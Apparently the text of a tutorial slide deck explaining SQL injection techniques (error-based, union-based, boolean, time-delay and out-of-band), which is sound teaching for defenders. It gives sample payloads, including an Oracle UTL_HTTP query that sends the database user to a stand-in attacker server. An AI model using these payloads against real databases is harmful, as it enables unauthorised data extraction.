Injection Attacks: The Complete 2020 Guide

SQL Injections Explained

  • Read sensitive data from the database
  • Modify database data with insert/update/delete queries
  • Execute administrative operations on the database (like shutting it down)
  • Extract the content of a file that exists on the database's file system
  • Write files into the file system
  • Issue other types of commands to the OS

Successful SQL Injections can potentially:

Main SQL Injection Categories:

  1. In-band
  2. Out-of-band
  3. Inferential or Blind

In-band

The classic SQL injection.

 

Attackers can launch the attack and obtain results through the same communication channel

Most popular in-band techniques:

  1. Error-based injections
  2. Union-based injections

Error-based Injections

Get information about the database, its structure, and its data from error messages

We can potentially gather a wealth of information about how an app works and how its database is structured this way


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 5

Error-based injection example

Result:


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"' at line 5

Error-based injection example

  1. The input may be vulnerable to injections
  2. The database management system (DBMS) is MySQL

Union-based Injections

Combine the results from a legitimate query with those from our attack to extract data


SELECT 'email','password' FROM Users UNION SELECT 'ProductName', 'ProductPrice' from Products;

Union-based injection example


SELECT Email,RegistrationDate FROM Users WHERE ID='159' UNION SELECT ProductName,ProductDescription from Products;

Union-based injection example

Out-of-band injections

Exfiltrate data using a different channel than the request was made with

 

Can use HTTP, DNS

 

ie: Make an HTTP connection to send results to a different web server

Out-of-band injection requirements:

  1. You have to have a vulnerable app and database
  2. The network environment needs to allow the targeted database server to initiate an outbound request without restriction
  3. You need to gain sufficient privilege escalation to initiate that request

Out-of-band injection example


SELECT * FROM Products WHERE id=346||UTL_HTTP.request('http://attacker-server-url.com/'||(SELECT user FROM DUAL)) --

Inferential or Blind injections

Rely on a change of behavior with the database in order to re-construct information

 

Used when data doesn't get transferred back to the attacker

 

Oftentimes uses timed delays or boolean conditions

Boolean example


SELECT * FROM Products WHERE ID='346';



SELECT * FROM Products WHERE ID='346' or 1=1;


https://url.co/v1/products/346'%20or%201=1;

Time-based example


SELECT * FROM Products WHERE ID='346' waitfor delay '00:00:10';



SELECT * FROM Products WHERE ID='346'-SLEEP(10);

For MySQL, we could use SLEEP() or BENCHMARK()

Recap:

The main techniques are:

  • Error
  • Union
  • Boolean
  • Time delay
  • Out-of-band

SQL Injections Explained

By Christophe Limpalair

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SQL Injections Explained

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